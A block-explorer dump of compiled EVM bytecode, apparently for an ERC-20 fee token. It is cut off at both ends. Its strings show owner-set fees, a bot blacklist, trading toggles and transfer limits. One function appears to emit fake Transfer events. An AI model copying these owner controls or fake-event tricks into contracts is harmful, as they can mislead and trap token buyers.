91815260200190565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106132b9576132b9613887565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061333691906138ed565b8160018151811061334957613349613887565b6001600160a01b039283166020918202929092010152600e5461336f9130911684611fd7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906133a8908590600090869030904290600401613a1e565b600060405180830381600087803b1580156133c257600080fd5b505af11580156133d6573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6008546000906001600160a01b03161561346557506008546001600160a01b031690565b506009546001600160a01b031690565b600060208083528351808285015260005b818110156134a257858101830151858201604001528201613486565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461135057600080fd5b80356134e3816134c3565b919050565b600080604083850312156134fb57600080fd5b8235613506816134c3565b946020939093013593505050565b60006020828403121561352657600080fd5b8135613531816134c3565b9392505050565b60006020828403121561354a57600080fd5b5035919050565b60008060006060848603121561356657600080fd5b8335613571816134c3565b92506020840135613581816134c3565b929592945050506040919091013590565b801515811461135057600080fd5b80356134e381613592565b600080604083850312156135be57600080fd5b82356135c9816134c3565b915060208301356135d981613592565b809150509250929050565b6000806000604084860312156135f957600080fd5b833567ffffffffffffffff8082111561361157600080fd5b818601915086601f83011261362557600080fd5b81358181111561363457600080fd5b8760208260051b850101111561364957600080fd5b6020928301989097509590910135949350505050565b6000806000806080858703121561367557600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156136a457600080fd5b82356136af816134c3565b915060208301356135d9816134c3565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156136ea57600080fd5b833567ffffffffffffffff8082111561370257600080fd5b818601915086601f83011261371657600080fd5b813560208282111561372a5761372a6136bf565b8160051b604051601f19603f8301168101818110868211171561374f5761374f6136bf565b60405292835281830193508481018201928a84111561376d57600080fd5b948201945b8386101561379257613783866134d8565b85529482019493820193613772565b97506137a190508882016135a0565b955050505050604084013590509250925092565b600181811c908216806137c957607f821691505b6020821081036137e957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561380157600080fd5b5051919050565b60006020828403121561381a57600080fd5b815161353181613592565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610d0857610d08613825565b60008261386f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610d0857610d08613825565b634e487b7160e01b600052603260045260246000fd5b6000600182016138af576138af613825565b5060010190565b6020808252601d908201527f4d757374206b656570206665657320617420323025206f72206c657373000000604082015260600190565b6000602082840312156138ff57600080fd5b8151613531816134c3565b600081518084526020808501945080840160005b838110156139435781516001600160a01b03168752958201959082019060010161391e565b509495945050505050565b848152608060208201526000613967608083018661390a565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b81810381811115610d0857610d08613825565b85815284602082015260a060408201526000613a3d60a083018661390a565b6001600160a01b039490941660608301525060800152939250505056fea26469706673582212200c0fd65bd56d94f0aee273723e9ac28afa8338dc0b3d1981ae33a2f893aff6d464736f6c63430008110033000000000000000000000000de1ab39740d017a885bebd7ebbdfe0deb61c786b
Deployed Bytecode
0x6080604052600436106104145760003560e01c806370db69d61161021e578063bbc0c74211610123578063e7ad9fcd116100ab578063f2fde38b1161007a578063f2fde38b14610bee578063f5648a4f14610c0e578063f637434214610c23578063f8b45b0514610c39578063fb002c9714610c4f57600080fd5b8063e7ad9fcd14610b8d578063e884f26014610bad578063ee40166e14610bc2578063f11a24d314610bd857600080fd5b8063d0d41fe1116100f2578063d0d41fe114610ae5578063d85ba06314610b05578063dd62ed3e14610b1b578063e2f4560514610b61578063e71dc3f514610b7757600080fd5b8063bbc0c74214610a65578063c024666814610a84578063c2b7bbb614610aa4578063c876d0b914610ac457600080fd5b8063a0d82dc5116101a6578063a9d3cd8a11610175578063a9d3cd8a146109c9578063adb873bd146109e9578063b62496f5146109ff578063b8eb354614610a2f578063b94279ea14610a4557600080fd5b8063a0d82dc51461095d578063a457c2d714610973578063a62068ce14610993578063a9059cbb146109a957600080fd5b80638da5cb5b116101ed5780638da5cb5b146108de5780639164f9db146108fc57806395d89b411461091c5780639c3b4fdc146109315780639fccce321461094757600080fd5b806370db69d61461086e578063715018a614610884578063751039fc1461089957806385ecfd28146108ae57600080fd5b80633950935111610324578063572ad658116102ac5780636a486a8e1161027b5780636a486a8e146107cc5780636b0a894c146107e25780636ddd1713146107f8578063707789c51461081857806370a082311461083857600080fd5b8063572ad6581461075f578063588813041461077f57806358a6d5311461079f5780635a139dd4146107b657600080fd5b806346f1f5de116102f357806346f1f5de146106da57806348ae238f146106fa5780634a62bb651461071a5780634f77f6c01461073457806351f205e41461074a57600080fd5b8063395093511461066457806342966c6814610684578063452ed4f1146106a457806346cafe52146106c457600080fd5b80631c499ab0116103a7578063249ec2bb11610376578063249ec2bb146105d357806326ededb8146105f35780632e509103146106135780632e6ed7ef14610628578063313ce5671461064857600080fd5b80631c499ab0146105685780631d777856146105885780631e146da81461059e57806323b872dd146105b357600080fd5b80630f054c06116103e35780630f054c06146104ec57806310d5de531461050357806318160ddd146105335780631a8145bb1461055257600080fd5b806306fdde03146104205780630758d9241461044b578063095ea7b3146104835780630cb1d0ee146104b357600080fd5b3661041b57005b600080fd5b34801561042c57600080fd5b50610435610c65565b6040516104429190613475565b60405180910390f35b34801561045757600080fd5b50600e5461046b906001600160a01b031681565b6040516001600160a01b039091168152602001610442565b34801561048f57600080fd5b506104a361049e3660046134e8565b610cf7565b6040519015158152602001610442565b3480156104bf57600080fd5b506104a36104ce366004613514565b6001600160a01b031660009081526028602052604090205460ff1690565b3480156104f857600080fd5b50610501610d0e565b005b34801561050f57600080fd5b506104a361051e366004613514565b60296020526000908152604090205460ff1681565b34801561053f57600080fd5b506003545b604051908152602001610442565b34801561055e57600080fd5b5061054460235481565b34801561057457600080fd5b50610501610583366004613538565b610e3d565b34801561059457600080fd5b5061054460255481565b3480156105aa57600080fd5b50610501610f23565b3480156105bf57600080fd5b506104a36105ce366004613551565b610fda565b3480156105df57600080fd5b506105016105ee3660046135ab565b61109d565b3480156105ff57600080fd5b5061050161060e3660046135e4565b611143565b34801561061f57600080fd5b506105016111db565b34801561063457600080fd5b5061050161064336600461365f565b6112a1565b34801561065457600080fd5b5060405160098152602001610442565b34801561067057600080fd5b506104a361067f3660046134e8565b611302565b34801561069057600080fd5b5061050161069f366004613538565b61133e565b3480156106b057600080fd5b50600f5461046b906001600160a01b031681565b3480156106d057600080fd5b5061054460265481565b3480156106e657600080fd5b506105016106f5366004613538565b611353565b34801561070657600080fd5b506104a3610715366004613691565b61147c565b34801561072657600080fd5b506017546104a39060ff1681565b34801561074057600080fd5b50610544601e5481565b34801561075657600080fd5b50610501611662565b34801561076b57600080fd5b5061050161077a3660046136d5565b611750565b34801561078b57600080fd5b5061050161079a366004613538565b61191a565b3480156107ab57600080fd5b5060145443106104a3565b3480156107c257600080fd5b5061054460195481565b3480156107d857600080fd5b50610544601d5481565b3480156107ee57600080fd5b5061054460165481565b34801561080457600080fd5b506017546104a39062010000900460ff1681565b34801561082457600080fd5b50610501610833366004613514565b6119f6565b34801561084457600080fd5b50610544610853366004613514565b6001600160a01b031660009081526020819052604090205490565b34801561087a57600080fd5b50610544600b5481565b34801561089057600080fd5b50610501611a85565b3480156108a557600080fd5b50610501611a97565b3480156108ba57600080fd5b506104a36108c9366004613514565b60156020526000908152604090205460ff1681565b3480156108ea57600080fd5b506008546001600160a01b031661046b565b34801561090857600080fd5b50610501610917366004613538565b611ad7565b34801561092857600080fd5b50610435611bb4565b34801561093d57600080fd5b50610544601b5481565b34801561095357600080fd5b5061054460245481565b34801561096957600080fd5b5061054460205481565b34801561097f57600080fd5b506104a361098e3660046134e8565b611bc3565b34801561099f57600080fd5b5061054460145481565b3480156109b557600080fd5b506104a36109c43660046134e8565b611c5c565b3480156109d557600080fd5b506105016109e43660046135ab565b611c7f565b3480156109f557600080fd5b5061054460215481565b348015610a0b57600080fd5b506104a3610a1a366004613514565b602a6020526000908152604090205460ff1681565b348015610a3b57600080fd5b50610544600c5481565b348015610a5157600080fd5b50610501610a603660046135ab565b611d2b565b348015610a7157600080fd5b506017546104a390610100900460ff1681565b348015610a9057600080fd5b50610501610a9f3660046135ab565b611d5e565b348015610ab057600080fd5b50610501610abf366004613514565b611dc5565b348015610ad057600080fd5b506017546104a3906301000000900460ff1681565b348015610af157600080fd5b50610501610b00366004613514565b611def565b348015610b1157600080fd5b5061054460185481565b348015610b2757600080fd5b50610544610b36366004613691565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b348015610b6d57600080fd5b5061054460105481565b348015610b8357600080fd5b50610544601c5481565b348015610b9957600080fd5b50610501610ba836600461365f565b611e6f565b348015610bb957600080fd5b50610501611f00565b348015610bce57600080fd5b5061054460135481565b348015610be457600080fd5b50610544601a5481565b348015610bfa57600080fd5b50610501610c09366004613514565b611f17565b348015610c1a57600080fd5b50610501611f8d565b348015610c2f57600080fd5b50610544601f5481565b348015610c4557600080fd5b50610544600d5481565b348015610c5b57600080fd5b5061054460225481565b606060048054610c74906137b5565b80601f0160208091040260200160405190810160405280929190818152602001828054610ca0906137b5565b8015610ced5780601f10610cc257610100808354040283529160200191610ced565b820191906000526020600020905b815481529060010190602001808311610cd057829003601f168201915b5050505050905090565b6000610d04338484611fd7565b5060015b92915050565b610d166120fc565b6040516370a0823160e01b815230600482018190529060009082906370a0823190602401602060405180830381865afa158015610d57573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d7b91906137ef565b905060008111610dc75760405162461bcd60e51b81526020600482015260126024820152712737903a37b5b2b739903a379031b632b0b960711b60448201526064015b60405180910390fd5b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303816000875af1158015610e14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e389190613808565b505050565b610e456120fc565b633b9aca006103e8610e5660035490565b610e6190600361383b565b610e6b9190613852565b610e759190613852565b811015610ed95760405162461bcd60e51b815260206004820152602c60248201527f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760448201526b6572207468616e20302e332560a01b6064820152608401610dbe565b610ee781633b9aca0061383b565b600d8190556040519081527fefc9add9a9b7382de284ef5ad69d8ea863e2680492b21a81948c2d5f04a442bc906020015b60405180910390a150565b610f2b6120fc565b601754610100900460ff1615610f835760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e670000000000000000006044820152606401610dbe565b6017805462ffffff191662010100179055436013819055602654610fa691613874565b6014556006546007556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a1565b6001600160a01b038316600090815260026020526040812043905561100084848461215b565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156110855760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610dbe565b6110928533858403611fd7565b506001949350505050565b6110a56120fc565b8061111857600f546001600160a01b03908116908316036111185760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b6064820152608401610dbe565b6001600160a01b03919091166000908152602960205260409020805460ff1916911515919091179055565b61114b6120fc565b60005b828110156111d55783838281811061116857611168613887565b905060200201602081019061117d9190613514565b600f546040518481526001600160a01b0392831692909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3806111cd8161389d565b91505061114e565b50505050565b6111e36120fc565b6014601e8190556000601f81905560208190556021819055908190611209908290613874565b6112139190613874565b61121d9190613874565b601d819055601410156112425760405162461bcd60e51b8152600401610dbe906138b6565b60198080556000601a819055601b819055601c819055908190611266908290613874565b6112709190613874565b61127a9190613874565b60188190556014101561129f5760405162461bcd60e51b8152600401610dbe906138b6565b565b6112a96120fc565b6019849055601a839055601b829055601c81905580826112c98587613874565b6112d39190613874565b6112dd9190613874565b6018819055601410156111d55760405162461bcd60e51b8152600401610dbe906138b6565b3360008181526001602090815260408083206001600160a01b03871684529091528120549091610d04918590611339908690613874565b611fd7565b6113466120fc565b6113503382612c8c565b50565b61135b6120fc565b620186a061136860035490565b61137390600161383b565b61137d9190613852565b8110156113ea5760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527410181718181892903a37ba30b61039bab838363c9760591b6064820152608401610dbe565b6103e86113f660035490565b61140190600161383b565b61140b9190613852565b8111156114775760405162461bcd60e51b815260206004820152603460248201527f5377617020616d6f756e742063616e6e6f742062652068696768657220746861604482015273371018171892903a37ba30b61039bab838363c9760611b6064820152608401610dbe565b601055565b60006114866120fc565b6001600160a01b0383166114dc5760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f7420626520300000000000006044820152606401610dbe565b306001600160a01b038416036115345760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e73000000006044820152606401610dbe565b6040516370a0823160e01b81523060048201526000906001600160a01b038516906370a0823190602401602060405180830381865afa15801561157b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061159f91906137ef565b60405163a9059cbb60e01b81526001600160a01b038581166004830152602482018390529192509085169063a9059cbb906044016020604051808303816000875af11580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613808565b604080516001600160a01b0387168152602081018490529193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b61166a6120fc565b6010543060009081526020819052604090205410156116f3576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e6064820152608401610dbe565b600f805460ff60a01b1916600160a01b17905561170e612ddf565b600f805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6117586120fc565b811580156117665750600081115b15611910576040805160028082526060820183526000926020830190803683375050600e54604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156117d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117f991906138ed565b8160008151811061180c5761180c613887565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061184057611840613887565b6001600160a01b039283166020918202929092010152600e54855191169063b6f9de9590849060009085908990839061187b5761187b613887565b6020026020010151426040518663ffffffff1660e01b81526004016118a3949392919061394e565b6000604051808303818588803b1580156118bc57600080fd5b505af11580156118d0573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d6848205688260405161190691815260200190565b60405180910390a1505b610e388284612fd2565b6119226120fc565b633b9aca006103e861193360035490565b61193e90600261383b565b6119489190613852565b6119529190613852565b8110156119b35760405162461bcd60e51b815260206004820152602960248201527f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f776572206044820152687468616e20302e322560b81b6064820152608401610dbe565b6119c181633b9aca0061383b565b600b8190556040519081527ffcc0366804aaa8dbf88a2924100c733b70dec8445957a5d5f8ff92898de4100990602001610f18565b6119fe6120fc565b6001600160a01b038116611a635760405162461bcd60e51b815260206004820152602660248201527f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60448201526507420626520360d41b6064820152608401610dbe565b601180546001600160a01b0319166001600160a01b0392909216919091179055565b611a8d6120fc565b61129f60006130a4565b611a9f6120fc565b6017805463ff000000191690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b611adf6120fc565b633b9aca006103e8611af060035490565b611afb90600261383b565b611b059190613852565b611b0f9190613852565b811015611b715760405162461bcd60e51b815260206004820152602a60248201527f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f776572604482015269207468616e20302e322560b01b6064820152608401610dbe565b611b7f81633b9aca0061383b565b600c8190556040519081527f53c4eb831d8cfeb750f1c62590d8cd30f4c6f0380d29a05caa09f0d92588560e90602001610f18565b606060058054610c74906137b5565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015611c455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610dbe565b611c523385858403611fd7565b5060019392505050565b336000908152600260205260408120439055610d04611c783390565b848461215b565b611c876120fc565b600f546001600160a01b0390811690831603611ce55760405162461bcd60e51b815260206004820152601a60248201527f54686520706169722063616e6e6f742062652072656d6f7665640000000000006044820152606401610dbe565b611cef82826130f6565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b611d336120fc565b6001600160a01b03919091166000908152601560205260409020805460ff1916911515919091179055565b611d666120fc565b6001600160a01b038216600081815260276020908152604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b611dcd6120fc565b600f80546001600160a01b0319166001600160a01b0392909216919091179055565b611df76120fc565b6001600160a01b038116611e4d5760405162461bcd60e51b815260206004820152601f60248201527f5f6465764164647265737320616464726573732063616e6e6f742062652030006044820152606401610dbe565b601280546001600160a01b0319166001600160a01b0392909216919091179055565b611e776120fc565b601e849055601f839055602082905560218190558082611e978587613874565b611ea19190613874565b611eab9190613874565b601d819055601910156111d55760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420323525206f72206c6573730000006044820152606401610dbe565b611f086120fc565b6017805463ff00000019169055565b611f1f6120fc565b6001600160a01b038116611f845760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610dbe565b611350816130a4565b611f956120fc565b604051600090339047908381818185875af1925050503d80600081146111d5576040519150601f19603f3d011682016040523d82523d6000602084013e6111d5565b6001600160a01b0383166120395760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610dbe565b6001600160a01b03821661209a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610dbe565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b33612105613124565b6001600160a01b03161461129f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610dbe565b6001600160a01b0383166121815760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b0382166121a75760405162461bcd60e51b8152600401610dbe906139c8565b600081116121f75760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610dbe565b601754610100900460ff1661228a576001600160a01b03831660009081526027602052604090205460ff168061224557506001600160a01b03821660009081526027602052604090205460ff165b61228a5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b6044820152606401610dbe565b6014541561235d576001600160a01b03831660009081526015602052604090205460ff1615806122c757506008546001600160a01b038381169116145b806122dc57506001600160a01b03821661dead145b61235d5760405162461bcd60e51b815260206004820152604660248201527f426f74732063616e6e6f74207472616e7366657220746f6b656e7320696e206f60448201527f72206f75742065786365707420746f206f776e6572206f722064656164206164606482015265323932b9b99760d11b608482015260a401610dbe565b6017546301000000900460ff16801561239357506001600160a01b03831660009081526028602052604090205460ff1615156001145b1561244b576008546001600160a01b038381169116148015906123c45750600f546001600160a01b03848116911614155b1561244b576123d4600343613a0b565b6001600160a01b0384166000908152600260205260409020541061244b5760405162461bcd60e51b815260206004820152602860248201527f5472616e736665722044656c617920656e61626c65642e20547279206167616960448201526737103630ba32b91760c11b6064820152608401610dbe565b60175460ff1615612753576008546001600160a01b0384811691161480159061248257506008546001600160a01b03838116911614155b801561249657506001600160a01b03821615155b80156124ad57506001600160a01b03821661dead14155b80156124d257506001600160a01b03831660009081526027602052604090205460ff16155b80156124f757506001600160a01b03821660009081526027602052604090205460ff16155b15612753576001600160a01b0383166000908152602a602052604090205460ff16801561253d57506001600160a01b03821660009081526029602052604090205460ff16155b1561261957600b548111156125a55760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b6064820152608401610dbe565b600d546001600160a01b0383166000908152602081905260409020546125cb9083613874565b11156126145760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b612753565b6001600160a01b0382166000908152602a602052604090205460ff16801561265a57506001600160a01b03831660009081526029602052604090205460ff16155b156126c457600c548111156126145760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b6064820152608401610dbe565b6001600160a01b03821660009081526029602052604090205460ff1661275357600d546001600160a01b03831660009081526020819052604090205461270a9083613874565b11156127535760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b6044820152606401610dbe565b306000908152602081905260409020546010548110801590819061277f575060175462010000900460ff165b80156127955750600f54600160a01b900460ff16155b80156127ba57506001600160a01b0385166000908152602a602052604090205460ff16155b80156127df57506001600160a01b03851660009081526027602052604090205460ff16155b801561280457506001600160a01b03841660009081526027602052604090205460ff16155b1561283257600f805460ff60a01b1916600160a01b179055612824612ddf565b600f805460ff60a01b191690555b6001600160a01b03851660009081526027602052604090205460019060ff168061287457506001600160a01b03851660009081526027602052604090205460ff165b1561287d575060005b60008115612c7857601454431080156128ae57506001600160a01b0387166000908152602a602052604090205460ff165b80156128d357506001600160a01b0386166000908152602a602052604090205460ff16155b80156128e157506000601854115b15612a61576001600160a01b03861660009081526015602052604090205460ff16612981576001600160a01b0386166000908152601560205260408120805460ff19166001908117909155601680549192909161293f908490613874565b90915550506040516001600160a01b03871681527f55678e47d0a699d3ab99b0184c4ff14f2246ba80522deb921aa0c8823578c44a9060200160405180910390a15b606461298e86606361383b565b6129989190613852565b9050601854601a54826129ab919061383b565b6129b59190613852565b602360008282546129c69190613874565b90915550506018546019546129db908361383b565b6129e59190613852565b602260008282546129f69190613874565b9091555050601854601b54612a0b908361383b565b612a159190613852565b60246000828254612a269190613874565b9091555050601854601c54612a3b908361383b565b612a459190613852565b60256000828254612a569190613874565b90915550612c5a9050565b6001600160a01b0386166000908152602a602052604090205460ff168015612a8b57506000601d54115b15612b4d576064601d5486612aa0919061383b565b612aaa9190613852565b9050601d54601f5482612abd919061383b565b612ac79190613852565b60236000828254612ad89190613874565b9091555050601d54601e54612aed908361383b565b612af79190613852565b60226000828254612b089190613874565b9091555050601d54602054612b1d908361383b565b612b279190613852565b60246000828254612b389190613874565b9091555050601d54602154612a3b908361383b565b6001600160a01b0387166000908152602a602052604090205460ff168015612b7757506000601854115b15612c5a57606460185486612b8c919061383b565b612b969190613852565b9050601854601a5482612ba9919061383b565b612bb39190613852565b60236000828254612bc49190613874565b9091555050601854601954612bd9908361383b565b612be39190613852565b60226000828254612bf49190613874565b9091555050601854601b54612c09908361383b565b612c139190613852565b60246000828254612c249190613874565b9091555050601854601c54612c39908361383b565b612c439190613852565b60256000828254612c549190613874565b90915550505b8015612c6b57612c6b87308361312f565b612c758186613a0b565b94505b612c8387878761312f565b50505050505050565b6001600160a01b038216612cec5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b6064820152608401610dbe565b6001600160a01b03821660009081526020819052604090205481811015612d605760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b6064820152608401610dbe565b81600754612d6e9190613a0b565b6001600160a01b03841660009081526020819052604081209190915560038054849290612d9c908490613a0b565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016120ef565b3060009081526020819052604081205490506000602454602254602354612e069190613874565b612e109190613874565b9050811580612e1d575080155b15612e26575050565b601054612e3490601461383b565b821115612e4c57601054612e4990601461383b565b91505b60008060028360235486612e60919061383b565b612e6a9190613852565b612e749190613852565b9050612e88612e838286613a0b565b613284565b60235447908190600090612e9e90600290613852565b612ea89087613a0b565b602254612eb5908561383b565b612ebf9190613852565b905060006002602354612ed29190613852565b612edc9088613a0b565b602454612ee9908661383b565b612ef39190613852565b9050612eff8183613874565b612f099084613a0b565b600060238190556022819055602481905560258190556012546040519295506001600160a01b031691839181818185875af1925050503d8060008114612f6b576040519150601f19603f3d011682016040523d82523d6000602084013e612f70565b606091505b50506011546040519197506001600160a01b0316904790600081818185875af1925050503d8060008114612fc0576040519150601f19603f3d011682016040523d82523d6000602084013e612fc5565b606091505b5050505050505050505050565b60005b8151811015610e38578260286000848481518110612ff557612ff5613887565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555081818151811061304657613046613887565b60200260200101516001600160a01b03167f208348c2856cbb3459e7fb08ce4139a8ce344289790e895c283a96ff81780c2a8460405161308a911515815260200190565b60405180910390a28061309c8161389d565b915050612fd5565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152602a60205260409020805460ff1916821515179055611cef82826133de565b600080610d08613441565b6001600160a01b0383166131555760405162461bcd60e51b8152600401610dbe90613983565b6001600160a01b03821661317b5760405162461bcd60e51b8152600401610dbe906139c8565b6001600160a01b038316600090815260208190526040902054818110156131f35760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610dbe565b6001600160a01b0380851660009081526020819052604080822085850390559185168152908120805484929061322a908490613874565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161327691815260200190565b60405180910390a350505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106132b9576132b9613887565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015613312573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061333691906138ed565b8160018151811061334957613349613887565b6001600160a01b039283166020918202929092010152600e5461336f9130911684611fd7565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906133a8908590600090869030904290600401613a1e565b600060405180830381600087803b1580156133c257600080fd5b505af11580156133d6573d6000803e3d6000fd5b505050505050565b6001600160a01b038216600081815260296020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746910160405180910390a15050565b6008546000906001600160a01b03161561346557506008546001600160a01b031690565b506009546001600160a01b031690565b600060208083528351808285015260005b818110156134a257858101830151858201604001528201613486565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461135057600080fd5b80356134e3816134c3565b919050565b600080604083850312156134fb57600080fd5b8235613506816134c3565b946020939093013593505050565b60006020828403121561352657600080fd5b8135613531816134c3565b9392505050565b60006020828403121561354a57600080fd5b5035919050565b60008060006060848603121561356657600080fd5b8335613571816134c3565b92506020840135613581816134c3565b929592945050506040919091013590565b801515811461135057600080fd5b80356134e381613592565b600080604083850312156135be57600080fd5b82356135c9816134c3565b915060208301356135d981613592565b809150509250929050565b6000806000604084860312156135f957600080fd5b833567ffffffffffffffff8082111561361157600080fd5b818601915086601f83011261362557600080fd5b81358181111561363457600080fd5b8760208260051b850101111561364957600080fd5b6020928301989097509590910135949350505050565b6000806000806080858703121561367557600080fd5b5050823594602084013594506040840135936060013592509050565b600080604083850312156136a457600080fd5b82356136af816134c3565b915060208301356135d9816134c3565b634e487b7160e01b600052604160045260246000fd5b6000806000606084860312156136ea57600080fd5b833567ffffffffffffffff8082111561370257600080fd5b818601915086601f83011261371657600080fd5b813560208282111561372a5761372a6136bf565b8160051b604051601f19603f8301168101818110868211171561374f5761374f6136bf565b60405292835281830193508481018201928a84111561376d57600080fd5b948201945b8386101561379257613783866134d8565b85529482019493820193613772565b97506137a190508882016135a0565b955050505050604084013590509250925092565b600181811c908216806137c957607f821691505b6020821081036137e957634e487b7160e01b600052602260045260246000fd5b50919050565b60006020828403121561380157600080fd5b5051919050565b60006020828403121561381a57600080fd5b815161353181613592565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417610d0857610d08613825565b60008261386f57634e487b7160e01b600052601260045260246000fd5b500490565b80820180821115610d0857610d08613825565b634e487b7160e01b600052603260045260246000fd5b6000600182016138af576138af613825565b5060010190565b6020808252601d908201527f4d757374206b656570206665657320617420323025206f72206c657373000000604082015260600190565b6000602082840312156138ff57600080fd5b8151613531816134c3565b600081518084526020808501945080840160005b838110156139435781516001600160a01b03168752958201959082019060010161391e565b509495945050505050565b848152608060208201526000613967608083018661390a565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d2074686520